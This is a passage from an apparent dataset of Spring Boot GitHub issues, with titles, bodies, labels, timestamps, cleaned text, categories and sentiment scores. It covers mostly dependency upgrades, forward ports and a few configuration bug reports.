@ConditionalOnAvailableEndpoint(HealthEndpoint.class)
@ConditionalOnEnabledHealthIndicator(HEALTH_INDICATOR_NAME)
@ConditionalOnProperty(prefix = PREFIX, name = URL_PROPERTY_NAME)
public class MyAutoConfiguration {
    private static final String BEAN_NAME = ""myBean"";

    public static final String HEALTH_INDICATOR_NAME = ""foo"";
    static final String URL_PROPERTY_NAME = ""url"";
    static final String PREFIX = ""management.health."" + HEALTH_INDICATOR_NAME;

    @Bean
    @PingResource
    @ConditionalOnMissingBean(value = HealthErrorHandler.class, annotation = PingResource.class)
    public HealthErrorHandler healthErrorHandler() ... [TRUNCATED]","status: invalid,for: stackoverflow",2026-05-30 12:11:11+00:00,2026-06-01 18:31:37+00:00,8,"status: invalid,for: stackoverflow",2.2642,qualified beans are not getting matched hello i don t if this may be a bug in the context evaluation or i m doing something wrong from my side but i ve a bean in spring boot defined as which somehow doesn t get created and therefore the beans relying on it can t be created in cascade full code java qualifier inherited documented retention runtime target field method parameter type annotation type public interface pingresource public interface healtherrorhandler healtherrorhandler default ex builder builder down ex build notnull health handle notnull throwable ex notnull builder builder autoconfiguration conditionalonavailableendpoint healthendpoint class conditionalonenabledhealthindicator health indicator name conditionalonproperty prefix prefix name url property name public class myautoconfiguration private static final string bean name mybean public static final string health indicator name foo static final string url property name url static final string prefix management health health indicator name bean pingresource conditionalonmissingbean value healtherrorhandler class annotation pingresource class public healtherrorhandler healtherrorhandler truncated,others,0.6187
spring-projects/spring-boot,4554075989,Document SSL reloading with Let's Encrypt,Forward port of issue #50222 to 4.0.x.,"type: documentation,status: forward-port",2026-05-30 10:11:02+00:00,2026-05-30 10:42:03+00:00,0,"type: documentation,status: forward-port",0.0215,document ssl reloading with let s encrypt forward port of issue to x,documentation,0.0
spring-projects/spring-boot,4549978464,Support MVC controller role on @Bean definitions,"**Problem**

Spring MVC registers @RequestMapping handlers for beans whose type is detected as a controller component, typically via @Controller or @RestController.

Beans created via @Configuration / @Bean are not considered MVC handler candidates unless the implementation class itself carries the controller annotation.

This couples:

* bean lifecycle definition (@Configuration, @Bean)
* with MVC role definition (@Controller / @RestController)

**Use case**

In feature-flagged applications, a spring bean or even a controller can be defined as bean conditionally exposed via configuration:

```
@Configuration
@ConditionalOnProperty(name = ""features.user.enabled"", havingValue = ""true"")
class UserWebConfiguration {

  @Bean
  UserController userController(UserService service) {
    return new UserController(service);
  }
}
```

**Limitation**

There is currently no supported mechanism to mark a bean created via @Bean as an MVC controller without annotating its implementation class.

As a result, MVC role assignment is strictly tied to class-level metadata rather than bean definition metadata.

**Existing Workarounds**

We can of course:
* annotate the RestController with ConditionalOnProperty
* or disable the package of the rest controller from the scan

But these are workarounds (the point was to be able to use a @Configuration to centralize the mocing parts of the module configuration).

**Relevant links**

* https://github.com/spring-projects/spring-boot/issues/34813#issueco... [TRUNCATED]",for: external-project,2026-05-29 16:23:29+00:00,2026-05-29 16:44:42+00:00,3,for: external-project,0.0147,support mvc controller role on bean definitions problem spring mvc registers requestmapping handlers for beans whose type is detected as a controller component typically via controller or restcontroller beans created via configuration bean are not considered mvc handler candidates unless the implementation class itself carries the controller annotation this couples bean lifecycle definition configuration bean with mvc role definition controller restcontroller use case in feature flagged applications a spring bean or even a controller can be defined as bean conditionally exposed via configuration limitation there is currently no supported mechanism to mark a bean created via bean as an mvc controller without annotating its implementation class as a result mvc role assignment is strictly tied to class level metadata rather than bean definition metadata existing workarounds we can of course annotate the restcontroller with conditionalonproperty or disable the package of the rest controller from the scan but these are workarounds the point was to be able to use a configuration to centralize the mocing parts of the module configuration relevant links truncated,help,0.0772
spring-projects/spring-boot,4548253766,Spring Boot processAot fails with ojdbc library in place,"With Spring Boot 4.x, having the `com.oracle.database.jdbc:ojdbcX` dependency in the project results in a failure to run the `processAot` task.
I'm specifically on `com.oracle.database.jdbc:ojdbc11:23.26.2.0.0`, but it happens with `ojdbc17` as well.
This same library on Spring Boot 3.x isn't causing any issues.

Trying to work around it by adding `com.oracle.database.ha:simplefan:23.26.2.0.0` just compounds on the issue as it then breaks and demands for another library, `com.oracle.database.xml:xdb:23.26.2.0.0`, which then breaks and demands for yet another, and so on and so forth -- all on libraries that I explicitly do not want on the project.

This is tested on Open JDK 17 and 21, both having the same issue.
I'm mentioning the JDK flavor here in particular because it seems Quarkus had a somewhat-similar issue in the past and blamed that, but this didn't help me here -- https://github.com/graalvm/mandrel/issues/252

Exception stacktrace:
```
Exception in thread ""main"" org.springframework.beans.factory.aot.AotBeanProcessingException: Error processing bean with name 'myRepository' defined in com.foo.bar.MyRepository defined in @EnableJpaRepositories declared on DataJpaRepositoriesRegistrar.EnableJpaRepositoriesConfiguration: failed to generate code for bean definition
        at org.springframework.beans.factory.aot.BeanRegistrationsAotContribution$BeanDefinitionsRegistrationGenerator.lambda$generateRegisterBeanDefinitionMethods$0(BeanRegistrationsAotContribution.java:280)
 ... [TRUNCATED]","status: invalid,for: external-project",2026-05-29 11:56:38+00:00,2026-05-29 12:24:21+00:00,1,"status: invalid,for: external-project",0.0192,spring boot processaot fails with ojdbc library in place with spring boot x having the dependency in the project results in a failure to run the task i m specifically on but it happens with as well this same library on spring boot x isn t causing any issues trying to work around it by adding just compounds on the issue as it then breaks and demands for another library which then breaks and demands for yet another and so on and so forth all on libraries that i explicitly do not want on the project this is tested on open jdk and both having the same issue i m mentioning the jdk flavor here in particular because it seems quarkus had a somewhat similar issue in the past and blamed that but this didn t help me here exception stacktrace exception in thread main org springframework beans factory aot aotbeanprocessingexception error processing bean with name myrepository defined in com foo bar myrepository defined in enablejparepositories declared on datajparepositoriesregistrar enablejparepositoriesconfiguration failed to generate code for bean definition at org springframework beans factory aot beanregistrationsaotcontribution beandefinitionsregistrationgenerator lambda generateregisterbeandefinitionmethods beanregistrationsaotcontribution java truncated,others,-0.8953
spring-projects/spring-boot,4547600019,Use new Maven Resolver API for ModifiedClassPathClassLoader,Forward port of issue #50447 to 4.0.x.,"type: task,status: forward-port",2026-05-29 10:09:07+00:00,2026-05-29 10:19:09+00:00,0,"type: task,status: forward-port",0.007,use new maven resolver api for modifiedclasspathclassloader forward port of issue to x,feature,0.1779
spring-projects/spring-boot,4547379380,RabbitProperties enables SSL even when spring.rabbitmq.ssl.bundle is overridden to an empty string,Forward port of issue #50429 to 4.0.x.,"type: bug,status: forward-port",2026-05-29 09:32:30+00:00,2026-05-29 09:36:18+00:00,0,"type: bug,status: forward-port",0.0026,rabbitproperties enables ssl even when spring rabbitmq ssl bundle is overridden to an empty string forward port of issue to x,bug,-0.2023
spring-projects/spring-boot,4547261925,NullPointerException in reactor-netty SniProvider when SSL bundle uses client-auth or server truststore without server-name-bundles,Forward port of issue #50609 to 4.1.x.,"type: bug,status: forward-port",2026-05-29 09:13:59+00:00,2026-05-29 09:17:03+00:00,0,"type: bug,status: forward-port",0.0021,nullpointerexception in reactor netty sniprovider when ssl bundle uses client auth or server truststore without server name bundles forward port of issue to x,bug,0.0
spring-projects/spring-boot,4547260997,NullPointerException in reactor-netty SniProvider when SSL bundle uses client-auth or server truststore without server-name-bundles,Forward port of issue #50301 to 4.0.x.,"type: bug,status: forward-port",2026-05-29 09:13:50+00:00,2026-05-29 09:17:02+00:00,0,"type: bug,status: forward-port",0.0022,nullpointerexception in reactor netty sniprovider when ssl bundle uses client auth or server truststore without server name bundles forward port of issue to x,bug,0.0
spring-projects/spring-boot,4547141541,Upgrade to MongoDB 5.8.0,"Upgrade to [MongoDB 5.8.0](https://github.com/mongodb/mongo-java-driver/releases/tag/r5.8.0).

Supersedes #50584","type: dependency-upgrade,status: team-only",2026-05-29 08:55:32+00:00,2026-05-29 09:04:24+00:00,0,"type: dependency-upgrade,status: team-only",0.0062,upgrade to mongodb upgrade to mongodb supersedes,others,0.0
spring-projects/spring-boot,4538462577,Remove the use of Optional from Data Neo4j repository examples,"This is an issue with

org.springframework.boot.docs.data.nosql.neo4j.repositories.CityRepository

The single method returns a nullable Optional of type nullable City

Optional<City?>?

The use of Optional here is unnecessary and confusing. It makes no sense to return an Optional that could be null. 

Instead remove the Optional completely and instead just return a nullable City:

City? ","type: documentation,status: superseded",2026-05-28 07:12:23+00:00,2026-05-28 09:41:00+00:00,3,"type: documentation,status: superseded",0.1032,remove the use of optional from data neo j repository examples this is an issue with org springframework boot docs data nosql neo j repositories cityrepository the single method returns a nullable optional of type nullable city optional the use of optional here is unnecessary and confusing it makes no sense to return an optional that could be null instead remove the optional completely and instead just return a nullable city city,documentation,-0.4767
spring-projects/spring-boot,4538382141,Validator is initialized multiple times during startup,"While setting the log level to debug in a Spring Boot application that uses `spring-boot-starter-validation` I noticed that the Validator is built multiple times:
1. By [`JakartaValidationBackgroundPreinitializer`](https://github.com/spring-projects/spring-boot/blob/d6a23b72b887afd68e9a7097db1c004a65a06e90/module/spring-boot-validation/src/main/java/org/springframework/boot/validation/autoconfigure/JakartaValidationBackgroundPreinitializer.java)
2. During EntityManagerFactory initialization by Hibernate's `TypeSafeActivator#getValidatorFactory`
3. In `ConfigurationPropertiesBinder` https://github.com/spring-projects/spring-boot/blob/d6a23b72b887afd68e9a7097db1c004a65a06e90/core/spring-boot/src/main/java/org/springframework/boot/context/properties/ConfigurationPropertiesBinder.java#L181-L183
4. During resolution of bean `defaultValidator` (in `LocalValidatorFactoryBean`)
5. (Multiple times) again in `ConfigurationPropertiesBinder`

Currently each of these validators also parses `META-INF/validation.xml` which does not exist in my project and I would like to turn it therefore off.

```
DEBUG 22300 --- [kground-preinit] o.h.v.i.xml.config.ValidationXmlParser   : Trying to load META-INF/validation.xml for XML based Validator configuration.
DEBUG 22300 --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper  : Trying to load META-INF/validation.xml via TCCL
DEBUG 22300 --- [kground-preinit] o.h.v.i.xml.config.ResourceLoaderHelper  : Trying to load META-INF/validation.xml via... [TRUNCATED]",status: declined,2026-05-28 06:58:22+00:00,2026-05-29 09:39:21+00:00,8,status: declined,1.1118,validator is initialized multiple times during startup while setting the log level to debug in a spring boot application that uses i noticed that the validator is built multiple times by during entitymanagerfactory initialization by hibernate s in during resolution of bean in multiple times again in currently each of these validators also parses which does not exist in my project and i would like to turn it therefore off debug kground preinit o h v i xml config validationxmlparser trying to load meta inf validation xml for xml based validator configuration debug kground preinit o h v i xml config resourceloaderhelper trying to load meta inf validation xml via tccl debug kground preinit o h v i xml config resourceloaderhelper trying to load meta inf validation xml via truncated,others,0.3612
spring-projects/spring-boot,4534381204,WebTestClient + @WithMockUser auto configuration regression (spring security related),"Hi,

When switching from Spring Boot 3.x to Spring Boot 4.x I encountered some issues when using a `WebTestClient` in `@SpringBootTest` based integration tests that used `@WithMockUser` style security helper annotations.
When digging a bit deeper more differences appeared as shown below.

The issues can be observed by running the tests in this example project: https://github.com/gsedlacz/spring-boot-4-webtestclient-issue 

While the `main` branch contains the spring boot 4 based code I also created a `spring-boot-3` branch with almost the same code to showcase how the behavior changed.
Diff: https://github.com/gsedlacz/spring-boot-4-webtestclient-issue/compare/spring-boot-3?expand=1 

Test results:
spring boot 4
https://github.com/gsedlacz/spring-boot-4-webtestclient-issue/tree/main/src/test/java/com/example/spring_boot_4_webtest_client_security_test/web
<img width=""707"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/d10c6be6-cde6-45ee-8370-858a77587cee"" />

spring boot 3
https://github.com/gsedlacz/spring-boot-4-webtestclient-issue/tree/spring-boot-3/src/test/java/com/example/spring_boot_4_webtest_client_security_test/web
<img width=""692"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/2901a90f-43be-4e32-8640-96bd8f5838e7"" />

Observations so far:
1. `@AutoConfigureWebTestClient` now behaves differently when changing the `@SpringBoot` `webEnvironment`
2. `@WithMockUser` appears to get ignored now

Am I missing some new start... [TRUNCATED]",,2026-05-27 17:29:34+00:00,2026-05-29 09:56:01+00:00,7,nan,1.685,webtestclient withmockuser auto configuration regression spring security related hi when switching from spring boot x to spring boot x i encountered some issues when using a in based integration tests that used style security helper annotations when digging a bit deeper more differences appeared as shown below the issues can be observed by running the tests in this example project while the branch contains the spring boot based code i also created a branch with almost the same code to showcase how the behavior changed diff test results spring boot spring boot observations so far now behaves differently when changing the appears to get ignored now am i missing some new start truncated,bug,0.5719
spring-projects/spring-boot,4532571329,SpringJtaPlatform should have been deprecated since 4.1.0-M3,The deprecation should have happened as part of https://github.com/spring-projects/spring-boot/issues/48969.,type: bug,2026-05-27 13:11:35+00:00,2026-05-27 13:56:01+00:00,0,type: bug,0.0309,springjtaplatform should have been deprecated since m the deprecation should have happened as part of,bug,0.0
spring-projects/spring-boot,4531915017,Upgrade to SLF4J 2.0.18,Upgrade to SLF4J 2.0.18.,"type: dependency-upgrade,status: team-only",2026-05-27 11:20:10+00:00,2026-05-27 13:56:00+00:00,0,"type: dependency-upgrade,status: team-only",0.1082,upgrade to slf j upgrade to slf j,others,0.0
spring-projects/spring-boot,4531914571,Upgrade to Protobuf Java 4.34.2,Upgrade to [Protobuf Java 4.34.2](https://github.com/protocolbuffers/protobuf/releases/tag/v4.34.2).,"type: dependency-upgrade,status: team-only",2026-05-27 11:20:05+00:00,2026-05-27 13:55:59+00:00,0,"type: dependency-upgrade,status: team-only",0.1083,upgrade to protobuf java upgrade to protobuf java,others,0.0
spring-projects/spring-boot,4531914102,Upgrade to Protobuf Maven Plugin 5.1.4,Upgrade to [Protobuf Maven Plugin 5.1.4](https://github.com/ascopes/protobuf-maven-plugin/releases/tag/v5.1.4).,"type: dependency-upgrade,status: team-only",2026-05-27 11:20:01+00:00,2026-05-27 13:55:58+00:00,0,"type: dependency-upgrade,status: team-only",0.1083,upgrade to protobuf maven plugin upgrade to protobuf maven plugin,others,0.0
spring-projects/spring-boot,4531913651,Upgrade to OpenTelemetry 1.62.0,Upgrade to [OpenTelemetry 1.62.0](https://github.com/open-telemetry/opentelemetry-java/releases/tag/v1.62.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:19:56+00:00,2026-05-27 13:55:57+00:00,0,"type: dependency-upgrade,status: team-only",0.1083,upgrade to opentelemetry upgrade to opentelemetry,others,0.0
spring-projects/spring-boot,4531913123,Upgrade to Netty 4.2.14.Final,"Upgrade to [Netty 4.2.14.Final](https://github.com/netty/netty/releases/tag/netty-4.2.14.Final).

Supersedes #50348","type: task,status: superseded",2026-05-27 11:19:50+00:00,2026-05-27 13:55:56+00:00,0,"type: task,status: superseded",0.1084,upgrade to netty final upgrade to netty final supersedes,others,0.0
spring-projects/spring-boot,4531912707,Upgrade to Neo4j Java Driver 6.1.0,Upgrade to [Neo4j Java Driver 6.1.0](https://github.com/neo4j/neo4j-java-driver/releases/tag/6.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:19:45+00:00,2026-05-27 13:55:55+00:00,0,"type: dependency-upgrade,status: team-only",0.1084,upgrade to neo j java driver upgrade to neo j java driver,others,0.0
spring-projects/spring-boot,4531912317,Upgrade to Native Build Tools Plugin 1.1.1,Upgrade to [Native Build Tools Plugin 1.1.1](https://github.com/graalvm/native-build-tools/releases/tag/1.1.1).,"type: dependency-upgrade,status: team-only",2026-05-27 11:19:41+00:00,2026-05-27 13:55:54+00:00,0,"type: dependency-upgrade,status: team-only",0.1085,upgrade to native build tools plugin upgrade to native build tools plugin,others,0.0
spring-projects/spring-boot,4531911883,Upgrade to MongoDB 5.7.0,Upgrade to [MongoDB 5.7.0](https://github.com/mongodb/mongo-java-driver/releases/tag/r5.7.0).,"type: task,status: superseded",2026-05-27 11:19:36+00:00,2026-05-27 13:55:54+00:00,0,"type: task,status: superseded",0.1085,upgrade to mongodb upgrade to mongodb,others,0.0
spring-projects/spring-boot,4531911480,Upgrade to Maven Enforcer Plugin 3.6.3,Upgrade to [Maven Enforcer Plugin 3.6.3](https://github.com/apache/maven-enforcer/releases/tag/enforcer-3.6.3).,"type: dependency-upgrade,status: team-only",2026-05-27 11:19:32+00:00,2026-05-27 13:55:53+00:00,0,"type: dependency-upgrade,status: team-only",0.1086,upgrade to maven enforcer plugin upgrade to maven enforcer plugin,others,0.0
spring-projects/spring-boot,4531911047,Upgrade to Liquibase 5.0.3,Upgrade to [Liquibase 5.0.3](https://github.com/liquibase/liquibase/releases/tag/v5.0.3).,"type: dependency-upgrade,status: team-only",2026-05-27 11:19:27+00:00,2026-05-27 13:55:52+00:00,0,"type: dependency-upgrade,status: team-only",0.1086,upgrade to liquibase upgrade to liquibase,others,0.0
spring-projects/spring-boot,4531910648,Upgrade to Lettuce 7.5.2.RELEASE,Upgrade to [Lettuce 7.5.2.RELEASE](https://github.com/redis/lettuce/releases/tag/7.5.2.RELEASE).,"type: dependency-upgrade,status: team-only",2026-05-27 11:19:23+00:00,2026-05-27 13:55:51+00:00,0,"type: dependency-upgrade,status: team-only",0.1087,upgrade to lettuce release upgrade to lettuce release,others,0.0
spring-projects/spring-boot,4531910130,Upgrade to jOOQ 3.21.4,"Upgrade to [jOOQ 3.21.4](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.4).

Supersedes #50346","type: task,status: superseded",2026-05-27 11:19:17+00:00,2026-05-27 13:55:50+00:00,0,"type: task,status: superseded",0.1087,upgrade to jooq upgrade to jooq supersedes,others,0.0
spring-projects/spring-boot,4531909736,Upgrade to Jaxen 2.0.3,Upgrade to [Jaxen 2.0.3](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.3).,"type: task,status: superseded",2026-05-27 11:19:12+00:00,2026-05-27 13:55:49+00:00,0,"type: task,status: superseded",0.1088,upgrade to jaxen upgrade to jaxen,others,0.0
spring-projects/spring-boot,4531909063,Upgrade to Hibernate 7.4.0.Final,"Upgrade to [Hibernate 7.4.0.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.4.0).

Supersedes #50430","type: task,status: superseded",2026-05-27 11:19:06+00:00,2026-05-27 13:55:48+00:00,0,"type: task,status: superseded",0.1088,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4531908569,Upgrade to Elasticsearch Client 9.4.1,Upgrade to [Elasticsearch Client 9.4.1](https://www.elastic.co/docs/release-notes/elasticsearch/clients/java/9-4-1).,"type: task,status: superseded",2026-05-27 11:19:01+00:00,2026-05-27 13:55:47+00:00,0,"type: task,status: superseded",0.1089,upgrade to elasticsearch client upgrade to elasticsearch client,others,0.0
spring-projects/spring-boot,4531908144,Upgrade to Couchbase Client 3.11.3,Upgrade to [Couchbase Client 3.11.3](https://docs.couchbase.com/java-sdk/current/project-docs/sdk-release-notes.html).,"type: dependency-upgrade,status: team-only",2026-05-27 11:18:57+00:00,2026-05-27 13:55:45+00:00,0,"type: dependency-upgrade,status: team-only",0.1089,upgrade to couchbase client upgrade to couchbase client,others,0.0
spring-projects/spring-boot,4531870398,Upgrade to Spring WS 5.0.2,Upgrade to [Spring WS 5.0.2](https://github.com/spring-projects/spring-ws/releases/tag/v5.0.2).,"type: dependency-upgrade,status: team-only",2026-05-27 11:12:26+00:00,2026-06-10 05:59:28+00:00,0,"type: dependency-upgrade,status: team-only",13.7827,upgrade to spring ws upgrade to spring ws,others,0.0
spring-projects/spring-boot,4531869987,Upgrade to Spring Session 4.1.0,Upgrade to [Spring Session 4.1.0](https://github.com/spring-projects/spring-session/releases/tag/4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:12:21+00:00,2026-06-10 05:59:27+00:00,0,"type: dependency-upgrade,status: team-only",13.7827,upgrade to spring session upgrade to spring session,others,0.0
spring-projects/spring-boot,4531869421,Upgrade to Spring Security 7.1.0,Upgrade to [Spring Security 7.1.0](https://github.com/spring-projects/spring-security/releases/tag/7.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:12:17+00:00,2026-06-09 17:07:23+00:00,0,"type: dependency-upgrade,status: team-only",13.2466,upgrade to spring security upgrade to spring security,others,0.5859
spring-projects/spring-boot,4531869003,Upgrade to Spring RESTDocs 4.0.1,Upgrade to [Spring RESTDocs 4.0.1](https://github.com/spring-projects/spring-restdocs/releases/tag/v4.0.1).,"type: dependency-upgrade,status: team-only",2026-05-27 11:12:12+00:00,2026-06-09 11:25:08+00:00,0,"type: dependency-upgrade,status: team-only",13.009,upgrade to spring restdocs upgrade to spring restdocs,documentation,0.0
spring-projects/spring-boot,4531868605,Upgrade to Spring Pulsar 2.0.6,Upgrade to [Spring Pulsar 2.0.6](https://github.com/spring-projects/spring-pulsar/releases/tag/v2.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 11:12:07+00:00,2026-06-09 17:07:22+00:00,0,"type: dependency-upgrade,status: team-only",13.2467,upgrade to spring pulsar upgrade to spring pulsar,others,0.0
spring-projects/spring-boot,4531868165,Upgrade to Spring LDAP 4.1.0,Upgrade to [Spring LDAP 4.1.0](https://github.com/spring-projects/spring-ldap/releases/tag/4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:12:03+00:00,2026-06-09 11:25:08+00:00,0,"type: dependency-upgrade,status: team-only",13.0091,upgrade to spring ldap upgrade to spring ldap,others,0.0
spring-projects/spring-boot,4531867607,Upgrade to Spring Kafka 4.1.0,Upgrade to [Spring Kafka 4.1.0](https://github.com/spring-projects/spring-kafka/releases/tag/v4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:58+00:00,2026-06-09 19:49:03+00:00,0,"type: dependency-upgrade,status: team-only",13.3591,upgrade to spring kafka upgrade to spring kafka,others,0.0
spring-projects/spring-boot,4531867132,Upgrade to Spring Integration 7.1.0,Upgrade to [Spring Integration 7.1.0](https://github.com/spring-projects/spring-integration/releases/tag/v7.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:54+00:00,2026-06-10 15:21:52+00:00,0,"type: dependency-upgrade,status: team-only",14.1736,upgrade to spring integration upgrade to spring integration,others,0.0
spring-projects/spring-boot,4531866693,Upgrade to Spring HATEOAS 3.1.1,Upgrade to [Spring HATEOAS 3.1.1](https://github.com/spring-projects/spring-hateoas/releases/tag/3.1.1).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:49+00:00,2026-06-09 11:25:00+00:00,0,"type: dependency-upgrade,status: team-only",13.0092,upgrade to spring hateoas upgrade to spring hateoas,others,0.0
spring-projects/spring-boot,4531866321,Upgrade to Spring gRPC 1.1.0,Upgrade to [Spring gRPC 1.1.0](https://github.com/spring-projects/spring-grpc/releases/tag/v1.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:45+00:00,2026-06-09 17:07:21+00:00,0,"type: dependency-upgrade,status: team-only",13.2469,upgrade to spring grpc upgrade to spring grpc,others,0.0
spring-projects/spring-boot,4531865827,Upgrade to Spring Framework 7.0.8,Upgrade to [Spring Framework 7.0.8](https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:40+00:00,2026-06-09 11:25:07+00:00,0,"type: dependency-upgrade,status: team-only",13.0093,upgrade to spring framework upgrade to spring framework,others,0.0
spring-projects/spring-boot,4531865389,Upgrade to Spring Data Bom 2026.0.0,Upgrade to [Spring Data Bom 2026.0.0](https://github.com/spring-projects/spring-data-bom/releases/tag/2026.0.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:36+00:00,2026-06-09 11:25:06+00:00,0,"type: dependency-upgrade,status: team-only",13.0094,upgrade to spring data bom upgrade to spring data bom,others,0.0
spring-projects/spring-boot,4531864824,Upgrade to Spring Batch 6.0.4,Upgrade to [Spring Batch 6.0.4](https://github.com/spring-projects/spring-batch/releases/tag/v6.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:31+00:00,2026-06-10 15:21:54+00:00,0,"type: dependency-upgrade,status: team-only",14.1739,upgrade to spring batch upgrade to spring batch,others,0.0
spring-projects/spring-boot,4531864361,Upgrade to Spring AMQP 4.1.0,Upgrade to [Spring AMQP 4.1.0](https://github.com/spring-projects/spring-amqp/releases/tag/v4.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:26+00:00,2026-06-09 17:07:21+00:00,0,"type: dependency-upgrade,status: team-only",13.2472,upgrade to spring amqp upgrade to spring amqp,others,0.0
spring-projects/spring-boot,4531863967,Upgrade to Reactor Bom 2025.0.6,Upgrade to [Reactor Bom 2025.0.6](https://github.com/reactor/reactor/releases/tag/2025.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:22+00:00,2026-06-09 11:25:05+00:00,0,"type: dependency-upgrade,status: team-only",13.0095,upgrade to reactor bom upgrade to reactor bom,others,0.0
spring-projects/spring-boot,4531863572,Upgrade to Micrometer Tracing 1.7.0,Upgrade to [Micrometer Tracing 1.7.0](https://github.com/micrometer-metrics/tracing/releases/tag/v1.7.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:17+00:00,2026-06-09 11:25:04+00:00,0,"type: dependency-upgrade,status: team-only",13.0096,upgrade to micrometer tracing upgrade to micrometer tracing,others,0.0
spring-projects/spring-boot,4531863148,Upgrade to Micrometer 1.17.0,Upgrade to [Micrometer 1.17.0](https://github.com/micrometer-metrics/micrometer/releases/tag/v1.17.0).,"type: dependency-upgrade,status: team-only",2026-05-27 11:11:13+00:00,2026-06-09 11:25:03+00:00,0,"type: dependency-upgrade,status: team-only",13.0096,upgrade to micrometer upgrade to micrometer,others,0.0
spring-projects/spring-boot,4531477916,Upgrade to SLF4J 2.0.18,Upgrade to SLF4J 2.0.18.,"type: dependency-upgrade,status: team-only",2026-05-27 10:08:39+00:00,2026-05-27 11:02:02+00:00,0,"type: dependency-upgrade,status: team-only",0.0371,upgrade to slf j upgrade to slf j,others,0.0
spring-projects/spring-boot,4531477339,Upgrade to Netty 4.2.14.Final,"Upgrade to [Netty 4.2.14.Final](https://github.com/netty/netty/releases/tag/netty-4.2.14.Final).

Supersedes #50331","type: task,status: superseded",2026-05-27 10:08:33+00:00,2026-05-27 11:02:02+00:00,0,"type: task,status: superseded",0.0371,upgrade to netty final upgrade to netty final supersedes,others,0.0
spring-projects/spring-boot,4531476791,Upgrade to Neo4j Java Driver 6.1.0,Upgrade to [Neo4j Java Driver 6.1.0](https://github.com/neo4j/neo4j-java-driver/releases/tag/6.1.0).,"type: dependency-upgrade,status: team-only",2026-05-27 10:08:28+00:00,2026-05-27 11:02:01+00:00,0,"type: dependency-upgrade,status: team-only",0.0372,upgrade to neo j java driver upgrade to neo j java driver,others,0.0
spring-projects/spring-boot,4531476300,Upgrade to Maven Enforcer Plugin 3.6.3,Upgrade to [Maven Enforcer Plugin 3.6.3](https://github.com/apache/maven-enforcer/releases/tag/enforcer-3.6.3).,"type: dependency-upgrade,status: team-only",2026-05-27 10:08:23+00:00,2026-05-27 11:02:00+00:00,0,"type: dependency-upgrade,status: team-only",0.0372,upgrade to maven enforcer plugin upgrade to maven enforcer plugin,others,0.0
spring-projects/spring-boot,4531475810,Upgrade to Liquibase 5.0.3,Upgrade to [Liquibase 5.0.3](https://github.com/liquibase/liquibase/releases/tag/v5.0.3).,"type: dependency-upgrade,status: team-only",2026-05-27 10:08:18+00:00,2026-05-27 11:02:00+00:00,0,"type: dependency-upgrade,status: team-only",0.0373,upgrade to liquibase upgrade to liquibase,others,0.0
spring-projects/spring-boot,4531475266,Upgrade to jOOQ 3.19.34,"Upgrade to [jOOQ 3.19.34](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.34).

Supersedes #50330","type: task,status: superseded",2026-05-27 10:08:12+00:00,2026-05-27 11:01:59+00:00,0,"type: task,status: superseded",0.0373,upgrade to jooq upgrade to jooq supersedes,others,0.0
spring-projects/spring-boot,4531474532,Upgrade to Jaxen 2.0.3,Upgrade to [Jaxen 2.0.3](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.3).,"type: task,status: superseded",2026-05-27 10:08:07+00:00,2026-05-27 11:01:58+00:00,0,"type: task,status: superseded",0.0374,upgrade to jaxen upgrade to jaxen,others,0.0
spring-projects/spring-boot,4531473803,Upgrade to Hibernate 7.2.16.Final,"Upgrade to [Hibernate 7.2.16.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.16).

Supersedes #50325","type: task,status: superseded",2026-05-27 10:08:00+00:00,2026-05-27 11:01:57+00:00,0,"type: task,status: superseded",0.0375,upgrade to hibernate final upgrade to hibernate final supersedes,others,0.0
spring-projects/spring-boot,4531451070,Upgrade to Spring WS 5.0.2,Upgrade to [Spring WS 5.0.2](https://github.com/spring-projects/spring-ws/releases/tag/v5.0.2).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:28+00:00,2026-06-10 05:59:28+00:00,0,"type: dependency-upgrade,status: team-only",13.8299,upgrade to spring ws upgrade to spring ws,others,0.0
spring-projects/spring-boot,4531450519,Upgrade to Spring Session 4.0.4,Upgrade to [Spring Session 4.0.4](https://github.com/spring-projects/spring-session/releases/tag/4.0.4).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:23+00:00,2026-06-10 05:59:27+00:00,0,"type: dependency-upgrade,status: team-only",13.8299,upgrade to spring session upgrade to spring session,others,0.0
spring-projects/spring-boot,4531450083,Upgrade to Spring Security 7.0.6,Upgrade to [Spring Security 7.0.6](https://github.com/spring-projects/spring-security/releases/tag/7.0.6).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:18+00:00,2026-06-09 19:49:03+00:00,0,"type: dependency-upgrade,status: team-only",13.4061,upgrade to spring security upgrade to spring security,others,0.5859
spring-projects/spring-boot,4531449684,Upgrade to Spring RESTDocs 4.0.1,Upgrade to [Spring RESTDocs 4.0.1](https://github.com/spring-projects/spring-restdocs/releases/tag/v4.0.1).,"type: dependency-upgrade,status: team-only",2026-05-27 10:04:14+00:00,2026-06-09 11:32:07+00:00,0,"type: dependency-upgrade,status: team-only",13.061,upgrade to spring restdocs upgrade to spring restdocs,documentation,0.0
